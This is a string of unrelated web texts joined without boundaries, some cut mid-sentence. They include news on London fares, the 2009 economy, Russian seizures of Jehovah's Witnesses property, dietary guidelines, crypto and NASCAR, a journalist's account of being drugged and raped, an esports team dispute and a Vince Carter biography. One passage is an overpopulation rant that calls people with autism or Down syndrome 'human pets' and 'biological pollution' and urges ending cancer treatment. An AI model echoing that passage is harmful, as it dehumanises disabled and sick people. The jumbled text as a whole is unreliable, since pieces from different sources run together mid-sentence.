Khan denied that he was also trying to "have it both ways" by using the business case against Goldsmith and instead called on the Tory candidate to answer whether he accepted TfL's fare rise assumptions
"He's the only mainstream mayoral candidate, and this is the fifth election so far, who has not explained his fares policy going into the election and hopefully your fantastic journalism will get it out of him."
Goldsmith today released his transport manifesto. There are no specific pledges on fare levels within it. However he does promise that he will use new revenues from using underground tunnels to host broadband cables, in order to "bear down on fares".
Politics.co.uk have asked Goldsmith's campaign to comment on Khan's claims that the Tory candidate will raise fares by 17%. We have not yet received a response.The Atlanta Fed's macroblog provides commentary and analysis on economic topics including monetary policy, macroeconomic developments, inflation, labor economics, and financial issues.
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January 22, 2009
A look back at the economy, in presidential terms
In his inauguration speech on Tuesday, President Barack Obama said, "That we are in the midst of crisis is now well understood… Our economy is badly weakened…. Homes have been lost, jobs shed, businesses shuttered…These are the indicators of crisis, subject to data and statistics."
Tuesday, Jan. 20, 2009, was a day filled with excitement and hope but also with uncertainty for the outlook of the American economy. Few doubt that our new president has a daunting task at hand. In fact, there are only two other U.S. presidents (Kennedy and Ford) in the post–World War II period who have entered office while the economy was in the midst of a recession.
Today's economy and its circumstances are constantly changing, and today's situation is quite different from previous experiences. With that in mind, we thought it would be interesting to look back at economic conditions when past presidents have entered office. Below are a few charts and facts describing the current state of the economy alongside historical conditions other post–World War II presidents had to deal with when entering office.
After contracting 0.5 percent in Q4 2008, economic growth for the first quarter of 2009 is expected to come in around –5 percent, according to the Bloomberg consensus forecast. This would mark the largest quarter-over-quarter contraction since the recessions in the early 1980s.
The employment picture also is grim, with December payrolls showing the largest year-over-year decline since December 1982 and unemployment in a significant upswing.
Headline CPI contracted 0.1 percent in December from the previous year (seasonally adjusted), marking the first time the monthly indicator was negative on a year-over-year basis since 1950.
Industrial production continued to dip in December with the worst showing since the 1975 recession.
So there you have it—a look at the economic picture in historical context as President Obama begins his journey as America's forty-fourth president.
By Courtney Nosal and Laurel Graefe, economic research analysts at the Atlanta Fed
January 22, 2009 in Business Cycles | Permalink
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CommentsAbigail Hauslohner is The Washington Post’s Cairo bureau chief.
As this newspaper’s Cairo bureau chief, I live and work with the risk of sexual violence all around me. I’ve covered war and political turmoil in the Middle East for the past seven years, spending five of those in Cairo, where sexual harassment is an almost daily experience. When I was groped amid a crowd of protesters battling police outside Cairo’s al-Azhar mosque on the fourth day of the uprising in 2011, I turned around and punched the guy in the face.
My friends tell me I’m “tough.” But it wasn’t until I completed an intensive course of therapy for post-traumatic stress disorder in October that I was able to finally confront pain I’ve been carrying with me for 14 years. I had gone to see a PTSD therapist to seek relief from what I’ve witnessed and experienced as a Middle East and war correspondent, to deal with the fear that had taken over my dreams and had begun to affect my work. I wanted to be able to react calmly to loud noises — instead of sensing an explosion every time a door slammed or a car backfired.
But we also ended up spending a lot of time dealing with an earlier experience that had nothing to do with the Middle East and yet almost outranked my war experiences: one night in 2001, when, as a 17-year-old, I visited a friend at his college and he raped me.
Until stories broke about rape accusations against Bill Cosby and an alleged gang rape at the University of Virginia, I had generally avoided reading about rape. I avoided reporting on it, too — as much as that pains me to admit. When I tried to write about Egypt’s sexual assault problem two years ago, I had great reporting and great timing — it was Valentine’s Day, also a day of anti-rape activism. I knew it was an important story and I wanted to put it out there, but I couldn’t do it.
My experience in therapy helped unburden me of the shame that I have carried since I was a teenager and has prompted me to speak out now. I’ve found inspiration in the willingness of rape survivors to talk about their assaults, years or decades after the fact. I decided it was time for me to do the same. It should never be too late.
Nearly 14 years ago, I went to visit my friend — I’ll call him “X” — at his college campus. I saw X as a goofy but caring, older-brother type; we’d overlapped in high school and had a platonic and confiding sort of friendship. I never found him attractive.
When X went to college, he joined a fraternity and promised to take me to a real college party. My parents, who were fairly strict and usually would not have let me spend a weekend visiting a boy on a college campus, let me go because X was a friend. I packed my coolest top — a bright pink, sleeveless turtleneck sweater — a pair of Guess jeans and a new necklace that I loved.
The party was hosted by X’s fraternity. I remember walking into a relatively empty house and settling in nervously on a couch. Most of the people in the room were guys, and I was eager to seem cool. X asked if I wanted a drink; I said sure. He brought me a big plastic cup full of red punch.
The rest of that night I remember in flashes of images and sound. I can’t remember anything between sitting on the couch and drinking from that cup, and then being propped up in the back seat of a car that wasn’t X’s, with someone else driving someplace. I think I lost consciousness somewhere between the couch and the car.
Then I was lying on X’s bed in his dorm room, and he was on top of me, kissing me and fondling my breasts.
I felt like a block of lead, melded to the bed. My vision was blurred, and the room was dim. I seemed to have no control of my body, as X struggled to remove my jeans and then my shirt, my head lolling to one side and then my body falling back onto the mattress.
I remember suddenly feeling pain between my legs and saying “No,” as loudly as I could, my voice hoarse, my lungs heavy. “No, no, no,” I said again and again. But I couldn’t move. I couldn’t even sit up. Eventually the pain disappeared.
I don’t know what time it was when I woke up the next morning. My head felt like it was in the clutches of a vise, and a wave of nausea swept over me. I dragged myself into a sitting position; X was asleep next to me on the narrow twin bed. I was wearing his T-shirt and nothing else. I couldn’t remember putting it on.
The dorm was quiet.
I stood up and found my shirt, jeans, underwear and bra on the floor. My necklace had snapped in half, the tiny beads unleashed amid my clothes. A condom wrapper and condom lay there, too.
I put on my jeans and found my way to the bathroom, where I threw up violently, feeling sicker than I ever had. I sat there, heaving in the toilet stall until there was nothing left to expel.
When I got back to the dorm room, I told X to take me home.
It was a gray Saturday morning, and we drove in silence the whole way. Midway there, I made him pull over so that I could vomit some more on the edge of the highway. When he dropped me off, I got out of the car and went inside. I never saw him again.
In the 48 hours after I was raped, I moved about my house — and even went to a friend’s home to socialize — in a dazed state of denial. The R-word was there, dangling in my mind, like a nightmare that lingers after waking. But I couldn’t bring myself to say it out loud.
At the time, I prided myself on being a progressive teenager and considered myself a feminist. I knew all about date rape and how common it was. I believed that I was too smart to fall victim to such a predictable kind of crime. Date rape happened to weaker, stupider, average girls, I told myself. And I knew better. I knew you were never supposed to leave your cup unattended at a party.
But I didn’t know that good-student, boy-next-door types could be rapists. I didn’t know that good friends raped good friends. The overwhelming majority of juvenile rape victims know their attackers.
The week after I was raped, I remained depressed and withdrawn, still wrestling with denial. My mother seemed to sense that something was wrong, but I told her everything was fine.
Instead, I called my best friend at the time, a mutual friend of my rapist’s who was also in college. Even then, the R-word caught in my throat, too horrifying to say. I stammered and paused. Finally I told her, haltingly, that X had taken advantage of me in his dorm room. “Are you sure, Abby?” she said. “[He] would never do something like that.”
After that, I did nothing. I didn’t tell my parents. I didn’t talk to a lawyer.
While even the most self-aware American women and girls don’t necessarily know how to avoid date rape, most of them probably know what happens to rape victims when they go public. As a 17-year-old, I knew that rape victims were torn apart in court — that defense lawyers scrutinized their personal lives, their sexual histories, even their clothes. I imagined my life coming down around me; my name in the newspaper; my friends, neighbors, parents and coaches turning against me; my fragile teenage self rendered an outcast; my future destroyed.
Most of all, I had heard enough about rape to know that you needed evidence. And I had none.
Two days had passed before I was able to admit to myself that I had been raped — long enough for any semen to wash away, for X to throw away the condom and clean up the dorm room.
It wasn’t until a year later, when, as a deeply depressed college freshman, I sought help from a psychologist, that I was able to utter the word “rape.” It was only then, too, in describing the experience to the psychologist, that I was able to grasp that I had been drugged, most likely — according to my psychologist — with “roofies,” the ubiquitous date-rape drug.
Over the years, I alternated between fantasies of vigilante justice — I pictured myself spray-painting “rapist” on his parents’ driveway — and quiet attempts to convince myself that the more time passed, the less the memory would affect me.
I’m under no illusion that a court case now would accomplish much of anything. There is no physical evidence. I imagine that if you called up X today and asked him if he did this, he’d say no. So it often goes with rape.
In all of the years since this happened, the image that has flashed through my mind most often is that of the emergency telephone that I passed in the hallway of X’s dorm as I stumbled to the bathroom that morning. Even through the haze of my nausea and headache, I knew what it was for, and I paused in front of it. All I had to do was pick up that phone, and the campus police would have come. They would have found the evidence strewn throughout the room — the condom, the remains of my favorite necklace, which snapped as X yanked my turtleneck over my head. They would have tested me and found traces of the drug that I assume was in my drink. Things could have turned out differently.
But I didn’t pick up the phone.
That moment has haunted me. It creeps into my thoughts when I’m sad or depressed. It lies at the root of the anger, humiliation, self-h |
as something inconsiderate I guess..but personally I feel like what she said in Korean was nothing out of line)
Only then, did Cella tell me that Crank had said he was going to stop playing. So I asked Crank why he didn't say it himself, and he told me that he really just wanted to rest and he asked me to let him go, saying he has no intention of moving to a foreign team or another team. I did not think to stop Crank from leaving, and he had said himself that he was going to stop playing and just rest, so I agreed to have him leave Slayers.
But afterwards I heard from another person that he was streaming and saying he was looking for a foreign team to join. I asked him why he lied and pointed out his unprofessionalism. He then asked me back if I knew why MMA wanted to leave. According to Crank, MMA wanted to leave because of Crank. Crank had told MMA that he wanted to leave because of the team's mood, and MMA had told him 'Let's leave together'. I checked with MMA, and he said that was not true.
Recently Crank called me and asked me if I was trying to ruin his pro-gaming life and protested that I was connecting the problems of Alicia, Ryung, and MMA to him. He was yelling at me the whole time and I was dumbfounded. I retorted that he may be mad but that's no way to speak to the owner of the team that has been helping him grow and taking care of him, and he replied saying, 'And who are you to tell me this?', I could find words to describe my aghast.
Boxer was hearing from the side and could not take it and took the phone from me. And he then yelled at Boxer, yelling "And what did you do?". Crank claims he is only going to play starcraft 2 until the end of the year, and wanted to play game in a comfortable environment. I'll wait and see if that is true. In case he denies it, I also have a recording of a phone conversation with him saying he will.
Being cursed and yelled at by players after having poured in hundreds of thousands of dollars and devotion into managing and running the team, Boxer received heavy shock. The team made it to the finals of GSTL but the mood of the team was very bad. I needed to do something about MMA and Crank, disrupting the mood of the team. So I sent MMA home and kicked Crank out. They done things that should not have been done as a teammate and disrupted the mood of the team, so I had to punish them.
So I tried to inform MMA of this, but he did not come back to the team after leaving during the weekend. He didn't help with GSTL practice and he became a totally different person. Boxer and I spoke instead to Ryung. Ryung actually would exchange jokes with me before but suddenly he seemed to find me difficult and could not even look into my eyes. So I wanted to talk to him about what the problem was. MMA had already said that he wanted to leave the team twice, and each time I'd tell Ryung the reason and make him understand to carry him on.
But the same problem had come up again and this time it seemed to be spreading to players like Ryung and others. Even thought we had made it to the round of 4, we judged that this was very serious. In order to keep Ryung from being carried away by the mood of the team, Boxer, with a very self-hurting feeling, told Ryung that MMA is at the moment a cancerous part of the team and that Ryung should think decide for himself. Ryung was clearly confused and asked to go home and practice there while resting, and he did.
MMA returned to the team house the next day. He must've heard everything from Ryung because before he even talked to Boxer, he had already packed up his things. Boxer called MMA to start talking but MMA told him that there was no need to talk anymore. Boxer then informed MMA that he was being demoted to the B team and told him to go home, to which MMA replied, "There's no need, it'll all work out if I leave the team".
Boxer told him that MMA still had a contract with the team and MMA told Boxer that the contract was not a contract, but a'slave contract'. The contract we had with players was an year long contract that was meant for submission to the sponsors, and it had fixed a winnings share ratio(taken mostly by the player). But in reality we did not get the money from the sponsors, because we didn't sign the contracts to receive money. And when he called this a'slave contract' we were really shocked.
The players that had the contracts were 5 players, including MMA and Ryung.
Boxer's Change of Heart
First off, heart broken by the words'slave contract'. Using his memories of a decade ago when players lived very hard, he tried to make an environment that was for the players. He took a lot of criticisms to leave his home(sc1) to move over to starcraft2. He continued as a player and it was his dream to raise the younger generations to put the future of e-sports in their hands, so the words and actions of MMA, who he had cherished and raised with so much care had made him taste a huge discouragement.
He was preparing to return before the release of Heart of the Swarm but at the time of the heartbreak he tried to stop playing.
Boxer's passion as a manager and player was deteriorating rapidly and it was very hard for me as well, to watch from his side. He was ordinarily trying to teach the players about his experience as a pro-gamer for over 10 years, but the players did not accept it easily. So I suggsted that he make a decision that helps T1 and motivate the remaining players at the same time. After a few days of thinking, Boxer agreed that would be good.
Alicia and Ryung
Ryung was always in MMA's shadows, and he followed MMA and was close to him. If Boxer took care of MMA, I took care of Ryung. After the incident, I didn't want Ryung being affected by MMA so I separated him. His wrist was also in a bad state so I sent him home. After sending him home, he showed good results. Ryung never disappointed us. Even in that mood, he tried his best in GSTL. But I am still disappointed that Ryung is following MMA's actions without reason. I asked him why he was acting that way and he told me he had lost faith along the way. I asked him what I did wrong, and he could not answer me.
Alicia, as previously announced, is not a founding member, but a player we have included in our ranks as a trainee. He had a very good work ethic and set an example to everyone in anything asked of him. But after going to foreign tournaments, he started showing different sides. It is not a bad thing for a person to chase money and glory, but our team started in a grand fashion with everything we needed from the start. We took care of our kids with vans and cars. Once we started working we moved to a different location and gave more weight to Coach Cella's role. From the start we did not have the 'hungry mind-set'. If we started poor, we would've been thankful for things we got as things got better, but in our case we started with good and this made them think things were getting bad and they complained.
Alicia's complaint was that nobody came to see him to pick him up at the airport after he came back from a foreign tournament. He was annoyed that the coach didn't come to see him to the studio. When I heard that, all I could do was sigh. So I sent him home. It wasn't a complaint saying I did something wrong, but it was the matter of his attitude.
His contract automatically extends if there are no words specifying otherwise by October 6th. He did not say anything, and it can be seen as an extension. But I am kicking him out of the team. An unmentionable reason came up recently.
This is a problem that can be problematic legally and is not something forgiveable, but I am not revealing what it is because I have to consider the other people involved in this. If a dispute in the future, we'll have to see then.
Why Clide was sent to KT
I felt nervous about Clide as soon as he started hanging out with MMA. I started thinking that I should make him his own path so that he isn't swept away by MMA and make the same mistake. He still had to go to the army and was not getting results, so felt pity. I convinced him that there are ways to spread his dream and fortunately, KT offered a coach job. At first we were thinking of Cella, but they wanted a Terran coach so we convinced Clide and sent him.
Outside rumors about Slayers' disbanding
I was talking to Coach Ryu of Woongjin(former Slayers coach) and he told me that he had heard that Slayers was disbanding. The point was that he had heard about the disbanding from a team in the ESF. I have no idea why ESF would go around saying that. At the time, there was no disbanding decided.
It may have been because they think Slayers is not included in the ESF KeSPA players trade agreement, butThis move was justified by a Russian Supreme Court ruling
The St. Petersburg located Kolomyazhskiy Assembly Hall owned and used by Jehovah’s Witnesses saw Russian authorities strong-arming into the property and seizing it. Government agents cordoned off the Hall and wrested control. The building was not damaged during the action. No members of Jehovah’s Witnesses were injured during this raid.
This raid and seizure by the Russian Government marks the biggest property seized. The license to do so is provided by a Russian Supreme Court ruling. The Appellate Chamber of Supreme Court of Russian Federation ruled on July 17, 2017, that the government should liquidate all legal entities of the Witnesses all over Russia. The ruling also banned all activities by the religious group. It also asked the Kremlin to seize all properties owned by the Witnesses.
The seating capacity of the Assembly Hall is 1,500. The hall is used as a venue for larger sized religious meetings. The space was also used by local congregations post its renovation in 2002. The attorneys working for Witnesses came to know that the authorities involved in the seizure have re-registered the property. The latter was then owned by the Russian Federation. Soon after the seizure, Kremlin transferred the property to a health center located nearby. The center soon posted its sign on the gate.
This seizure comes only a week after the court ruling that threatens to take over all properties owned by the Witnesses. The latter uses such properties as their national headquarters. This property is among many on the list. The organization has a number of properties in the vicinity of St. Petersburg. This ruling by the Russian Supreme Court had canceled a contract made between Pennsylvania’s Bible and Tract Society and Russia’s national headquarter. The contract was 17 years old. If the ruling holds, then the Russian Government can easily seize this particular property and all other Witness properties as per foreign ownership with Russia.
According to Jehovah’s Witnesses, the actions done by the Kremlin smacks of gross religious intolerance. These actions have deprived the organization, as per them, of not only property but also religious freedom. They said that the properties were bought with donations given by the Russian citizenry who can only be described as poor. The Witnesses have appealed to UN Human Rights Committee and European Court of Human Rights.
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Follow the Conversation on TwitterAny ecosystem will suffer if one element becomes dominating without exception. Look at a lake. If there is too much algae, the animal species will suffocate and die. The algae then can't sustain themselves and rot. The output of the rotting algae is unhealthy for the algae that is alive and thus the rest of the algae will die out.
This process is a rule for any ecosystem. The human species is also part of at least one ecosystem. One side is that overpopulation is self-destructive, but another is that it is destructive to the environment itself - just by it being there.
As for the human species, we also have a social behavior and attitude that is destructive by itself, and destructiveness in such a high degree doesn't make things any better.
The modern human species also cast off a lot of pollution. Each individual leave in average 2.5 kilos of garbage every day. There are currently 7 billion human on the planet. 2.5 times 7 billion is 17.5 billion kilos of garbage everyday. To that number we need to add the amount of waste that the human industry is producing every day. Let's look at the total number: 17.500.000.000
Does this pose a problem?
It does - not only because for each day we destroy hundreds of thousands of ecosystems by expanding our cities, but also because nature simply cannot process the amount of waste the humans produce.
By human lifestyle and the size of human population, the humans are destroying not only themselves, but also all other life. By humans being so happy to procreate; so narcissistic and self-important they destroy themselves...
Is there a way out of this problem? Yes there is. By looking into nature, we find the solution; and the solution is easy.
1) We need to accept when it is time to die. If we get a terminal disease - we need to accept that as a hint that it is time to die - for the benefit of all other life. No more treating cancer!
2) We need to stop extending life. We all need to die. In all ages. Death is something that is highly necessary for other life to exist. So, no more anti-abortion! No more oxygen tents! We an organism cannot sustain itself with minimum help, then the organism is not meant to be carried on.
3) We need to stop keeping human pets. People with autism or downs-syndrome, for example, would not survive 5 minutes in the wild on their own, before a predator would take them own and eat them. Easy as that. Objectively, theses people are just biological pollution. No more keeping human pets!
It is rather simple. Rough and brutal maybe - but simple - If we want to survive as a species and even have to slightest care of other life than ourselves, then we need to regulate ourselves.Interesting essay about Amazon's smart lock:
When you add Amazon Key to your door, something more sneaky also happens: Amazon takes over.
You can leave your keys at home and unlock your door with the Amazon Key app -- but it's really built for Amazon deliveries. To share online access with family and friends, I had to give them a special code to SMS (yes, text) to unlock the door. (Amazon offers other smartlocks that have physical keypads).
The Key-compatible locks are made by Yale and Kwikset, yet don't work with those brands' own apps. They also can't connect with a home-security system or smart-home gadgets that work with Apple and Google software.
And, of course, the lock can't be accessed by businesses other than Amazon. No Walmart, no UPS, no local dog-walking company.
Keeping tight control over Key might help Amazon guarantee security or a better experience. "Our focus with smart home is on making things simpler for customers -- things like providing easy control of connected devices with your voice using Alexa, simplifying tasks like reordering household goods and receiving packages," the Amazon spokeswoman said.
But Amazon is barely hiding its goal: It wants to be the operating system for your home. Amazon says Key will eventually work with dog walkers, maids and other service workers who bill through its marketplace. An Amazon home security service and grocery delivery from Whole Foods can't be far off.“We are pretty disappointed the report doesn’t recommend limiting red and processed meat because of the link to cancer,” said Katie McMahon of the American Cancer Society Cancer Action Network.
Evidence goes back decades linking diets high in red and processed meats (like bacon and sausage) to cancer, McMahon told NBC News.
The guidelines do, in fact, mention this — but don’t blame meat specifically. “Strong evidence from mostly prospective cohort studies but also randomized controlled trials has shown that eating patterns that include lower intake of meats as well as processed meats and processed poultry are associated with reduced risk of cardiovascular disease in adults,” they say.
"From my standpoint, Congress has caved in to the will of special interest food groups."
“Moderate evidence indicates that these eating patterns are associated with reduced risk of obesity, type 2 diabetes, and some types of cancer in adults.”
The American Institute for Cancer Research (AICR), which studies the links between food and cancer, says it’s clear the Health and Human Services Department and U.S. Department of Agriculture came under pressure to downplay any risks of eating meat.
“As an organization dedicated to cancer prevention, we are dismayed to see that the Dietary Guidelines have allowed lobbying efforts to supersede the scientific evidence, when it comes to meat and cancer risk,” said AICR’s Susan Higginbotham.
“The Dietary Guidelines have a profound and positive health impact on so many children, older adults and families in the U.S.; this failure to embrace decades of research with the potential to save thousands of American lives represents a missed opportunity.”
Some nutritionists also said the federal government was pressured by the meat industry and by other lobby groups. “From my standpoint, Congress has caved in to the will of special interest food groups,” said Marion Nestle, a nutrition professor at New York University.
Dr. Walter Willett, who heads the nutrition department at the Harvard School of Public Health, agreed. “Unfortunately, the USDA has censored the recommendation of the Scientific Advisory Committee to consume less red meat,” Willett said.
“In fact, the dietary guidelines promote consumption of red meat as long as it is lean, which is not what the science supports. There is strong evidence that red meat consumption increases risk of diabetes, heart attacks, stroke, and some cancers (especially processed meat), and there is not good evidence that this simply due to the fat content,” Willett added.
“This appears to reflect the powerful influences of the beef industry. Unfortunately, the public is being misled.”
Health and Human Services Secretary Sylvia Burwell says the report actually stands up to some very strong lobbying groups, especially in its recommendations to cut sugar, salt and saturated fat. These are all found in processed food or soft drinks, and some very powerful interest groups fought back hard on recommendations to limit those.
“In terms of that lobby, those aren’t necessarily things they would support,” Burwell told NBC News. “I think we have a strong set of recommendations.”
The sugar industry was indeed unhappy. "The Committee’s conclusions on 'added sugars' intake are not based on the established evidence-based review process of the full body of science, which raises serious concerns the Committee bypassed this process and hand-picked science to support their pre-determined conclusions," it said in a statement.
And Burwell noted that there are reasons besides cancer to limit processed meats. They’re high in salt and unhealthful fats, for one. “You should be looking at those things and certainly processed meat does contain a lot of sodium,” she said.
And Alice Lichtenstein, a nutrition professor at Tufts University who sat on the advisory committee, said that cancer wasn’t a major focus of the group’s deliberations. They were more concerned about heart disease, the No. 1 killer of Americans, and diabetes, she said.
“We wanted to focus on chronic disease,” she told NBC News.
One high-profile recommendation that was dropped from consideration in the year-long process of drawing up the report was that people be advised to eat a “sustainable” diet that would limit bad impacts on the environment. That would include eating less meat, since producing meat uses far more water than producing crops that people eat directly.
The Center for Science in the Public Interest says some of the carefully worded language in the guidelines shows there was some attempt to resist meat industry lobbying. “Though the final Guidelines does not address environmental sustainability, the overall advice on eating less meat indicates USDA and HHS partially resisted the political pressure,” it said.
The meat industry didn’t seem unhappy with the guidelines. “Consumers who choose to eat meat and poultry, as 95 percent of Americans do, can continue to enjoy our products as they have in the past,” said Meat Institute President and CEO Barry Carpenter.
When advisers on the guidelines issued their report a year ago, it made headlines because it said eggs and other food sources of cholesterol might not be as harmful as believed in years past.
The new report notes that it’s fat in food and not cholesterol itself that raises blood cholesterol when people eat it, but also recommends limiting cholesterol-rich foods such as eggs.
“The dropping of the guideline for cholesterol is of concern because so much of the research on eggs and cholesterol (eggs are the single greatest source of dietary cholesterol) was sponsored by the egg industry,” said Nestle.
“The problem is that the food industry has continued to pressure and tempt us to eat a diet of burgers, pizzas, burritos, cookies, doughnuts, sodas, shakes, and other foods loaded with white flour, red and processed meat."
And the Physicians Committee for Responsible Medicine, which promotes a vegan diet, said it was filing suit against the government in California federal district court over the new guidelines.
“The Dietary Guidelines Advisory Committee’s recommendations are part of a twenty-year attempt at a cholesterol image makeover based on research funded by USDA’s egg promotion program and designed specifically to increase egg consumption regardless of the health risks that may result from unlimited cholesterol ingestion,” the suit reads.
Nonetheless, even critics said the report has some positive points. It aims to reduce obesity by guiding people to eat more fruits and vegetables and less sugar, white flour and other processed food.Rick Bowmer/AP File
Oregon — along with a group of five countries and seven states — used the Paris climate change conference to set lofty new emission goals.
The International Zero-Emission Vehicle Alliance announced the goal of having all new cars sold within its jurisdiction be emission-free by 2050.
That jurisdiction includes Oregon and seven other states, as well as Quebec, Canada; Germany; the Netherlands; Norway and the United Kingdom.
Dave Nordberg, with the Oregon Department of Environmental Quality, called it an aspirational goal, but not outside the realm of possibility.
“I’m encouraged,” Nordberg said. “We’ve been doing the analysis for several years now and not really making progress for meeting our greenhouse gas reduction targets.
“With this and what has happened in Paris over the last weekend,” he said, referring to a 196-country climate agreement, “I take considerable encouragement from it.”
The ZEV Alliance accounts for about 7 percent of global vehicle sales, but 38 percent of electric-vehicle sales.NewsAbortion
WESTMINSTER, August 13, 2012 (LifeSiteNews.com) – Figures released by the Department of Health last week show that of the over 6 million abortions committed in England and Wales since legalization in 1967, 0.006 percent were performed with the intention of saving the life of the mother or preventing serious injury.
A total of 143 abortions have been obtained under the legal grounds allowing abortion “where the termination is immediately necessary to save the life of the pregnant woman or to prevent grave permanent injury to the physical or mental health of the pregnant woman.” An additional 23,778 abortions, or 0.37 percent of the total abortions performed between 1968 and 2011, were committed because the continuance of pregnancy was deemed to constitute a “risk” to the life of the mother “greater than if the pregnancy were terminated.”
The information was released at the request of Lord David Alton, a former Labour and Liberal Democrat Party MP and now member of the House of Lords who sits on a parliamentary pro-life committee. Lord Alton wrote that when the case was made for legalizing abortion, it was argued that the law needed to be changed to “deal with extremely serious situations.”
“More than 6 million abortions later the figures reveal that in 99.5% of cases where an unborn child’s life is ended there is no risk to the health of the mother,” he said.
“Other figures reveal that three teenage girls have had 24 abortions between them and that some women have had more than eight legal abortions.”
CLICK ‘LIKE’ IF YOU ARE PRO-LIFE!
The 1967 Abortion Act, under its current wording and including all amendments, allows abortion before 24 weeks gestation if there is deemed to be “a risk, greater than if the pregnancy were terminated,” of “injury to the physical or mental health of the pregnant woman or any existing children of her family;” and to “prevent grave permanent injury to the physical or mental health of the pregnant woman.”
As well, if there is a “substantial risk” that the child suffers from “such physical or mental abnormalities as to be seriously handicapped,” he can be aborted up to the end of full gestation, though doctors are rarely willing to abort a late or full-term child.
Abortions must be approved by two doctors, though it was recently revealed that this rule is widely ignored.
These rules have been interpreted by both doctors and judges so broadly that pro-life observers maintain that they have effectively permitted abortion on demand up to 24 weeks.
In 2002, Lord Justice Laws said, “There is some evidence that many doctors maintain that the continuance of a pregnancy is always more dangerous to the physical welfare of a woman than having an abortion, a state of affairs which is said to allow a situation of de facto abortion on demand to prevail.”
Pro-life advocates have long maintained that there is no circumstance in which an abortion is necessary to save the life of the mother.
Earlier this year an eminent Irish oncologist, professor and politician, who is himself not pro-life, wrote that in all his years practicing he has never encountered a situation in which abortion was needed to save a mother’s life.
Dr. John Crown, who has lectured in 40 countries and is the author of 150 research papers told his Twitter followers that he had during his medical career faced some “hard decisions re: chemotherapy in pregnancy.”
However, he said, “I don’t think I ever had a case where abortion was necessary to save mom.”According to one analyst interviewed on CNBC, the trading volume of Bitcoin, Ethereum and other cryptocurrencies could surpass that of Apple in the near future. The analyst, Jens Nordvig, founder and CEO of Exante Data, said that the cryptocurrency market is exploding, and global trading will soon surpass that of the tech giant.
The surge in Bitcoin and Ethereum prices has led to a massive influx of traders and investors, seeking to participate in the financial boom. In fact, the growth has increased more than eight times this year alone. Nordvig said:
"Cryptocurrency trading volume is now more than of $3 bln/day on average, and will likely soon surpass that of the world's most liquid stock: Apple ($4 bln/day).”
Crypto up, stocks down
The massive growth in cryptocurrency trading volumes has been coupled with an equally large drop in stock trading volumes. The daily trading volume of US stocks hit a three-year low in August, ostensibly fueled by a focus on other investment strategies.
The lower stock trading volume has also been coupled with a sizable shift in funds out of the stock market over the past weeks, as traders are concerned that the market is at a peak.Matt Slocum/Associated Press
Ryan Blaney earned the first Monster Energy Cup victory of his career Sunday at Pocono Raceway in the Axalta presents the Pocono 400.
Blaney edged out Kevin Harvick to collect the checkered flag. Fox: NASCAR shared a replay of the race's final lap:
Below are the top 10 finishers from Sunday's race:
Axalta presents the Pocono 400 Results
1. Ryan Blaney
2. Kevin Harvick
3. Erik Jones
4. Kurt Busch
5. Brad Keselowski
6. Martin Truex Jr.
7. Kyle Larson
8. Chase Elliott
9. Kyle Busch
10. Matt Kenseth
With the win, Blaney assures himself a place in the championship playoffs. He also climbed to sixth in the playoff standings.
Congratulations rolled out on social media following Blaney's victory:
Kyle Busch, who led 100 of the race's 160 laps, was 10 laps away from his first win of the season before Blaney passed him for first place. Busch displayed great defensive driving to hold the No. 21 car off, particularly on the first straightaway as Blaney tried to sneak around on the inside.
Eventually, Blaney overtook Busch coming around the final turn. NASCAR writer Jeff Gluck enjoyed the nerve-wracking action:
As Busch fell back, Harvick became Blaney's biggest challenger. Blaney showed a level of experience belying his age (23) as he maintained his grip on the top spot.
Blaney's late surge added drama to what otherwise looked to be a dominant win for Busch, who was racing without regular crew chief Adam Stevens while Stevens serves a four-race suspension.
Prior to the final laps, a pair of crashes midway through the day dominated the narrative.
The race ground to a halt on the 97th lap after Jimmie Johnson and Jamie McMurray had separate wrecks into the outside wall. A car failure led the No. 48 car to slam into the wall around the first turn. Moments later, McMurray experienced the same fate.
Fox Sports shared replays of the two crashes:
McMurray appeared to come away the worse for wear as the No. 1 car caught fire. NASCAR's official Twitter account showed McMurray exiting the vehicle:
"Certainly a big scare," Johnson said in an interview on FS1 (via FoxSports.com's Tom Jensen). "Haven't had a scare like that since 2000 at Watkins Glen."
Both drivers said brake problems led to their accidents.
Track workers needed a relatively significant amount of time to clean up the damage, leading to a red flag shortly before the end of the second stage, which was won by Kyle Larson.
Johnson and McMurray will look to rebound at next week's FireKeepers Casino 400 at Michigan International Speedway.
With three wins, Johnson is already safely in the playoff field, so another poor result won't matter much in the grand scheme of things. McMurray, on the other hand, is still looking for his first victory.vincent lamar carter
Though he prefers the name “Vince”, he was born Vincent Lamar Carter in Daytona Beach, FL at Halifax Hospital on January 26, 1977. He attended public and private schools, beginning at age 4, in Deland, South Miami and Daytona Beach. He was the only seventh grader to ever play on Campbell Junior High School’s varsity basketball team as a starter. In addition to being captain of Mainland High School’s volleyball team, he is said to be the most gifted and decorated basketball player to grace the court at Mainland High School where he graduated with honors in 1995. Other high school honors included USA Today, Parade, and McDonald’s All-America and was voted Florida’s 1995 Basketball Player-of-the-Year. Vince provided lots of musical excitement when he played baritone and saxophone in the marching and jazz bands, respectively, at Mainland and was voted head drum major for his senior year. In 1995, Vince was voted to the USA Junior National Team where he played in the World Championships.
As a Tarheel at the University of North Carolina from 1995 through 1998, Vince garnered, for two consecutive years, the statistical leader award. In addition, he earned the best field goal percentage and the defensive player of the year awards in 1998. Vince helped the Tarheels make it to the final four in 1997 and 1998. In both of these games, he was the leading scorer. His outstanding college play propelled him to the five (5) finalists for the prestigious “John Wooden Award” and the national player of the year award.
Vince was among the top five draft picks in the 1998 NBA draft and joined the Toronto Raptors where he distinguished himself in his rookie season as an explosive player with a powerful dunk and colorful on-court play. He was selected 1999 NBA “Rookie of the Year,” garnering 113 of 118 possible points. He was also named Sportsman of the Year for NBA’s Central Division.
In 2000, Carter distinguished himself as the NBA Slam Dunk Contest winner and proudly represented the United States on the Olympic Basketball Team. He wowed the crowds in Hawaii, Japan, and Australia and is one of the proud United States gold medal winners. Dunking over a seven-foot opponent added thrills and awe to Carter’s already die-hard fans.
Vince led the Toronto Raptors to three playoff berths, and after joining the New Jersey Nets in 2004, led them to three playoff berths. In July 2009, Vince was traded to the Orlando Magic and helped them reach the playoffs in 2010. In December 2010, Vince joined the Phoenix Suns. In 2011, at the end of the NBA lockout, Vince was traded to the Dallas Mavericks, reining NBA champions. In 2014, Vince joined the Memphis Grizzlies.
He was selected as an NBA All-Star for eight consecutive years, leading all vote getters for four of those years. The fans chose Vince as a starter in six of the eight years. In 2003, Vince was named to the U.S. Men’s Senior National Team for the FIBA Americas Olympic Qualifying Tournament in Puerto Rico where he helped the U.S. to a 10-0 mark.
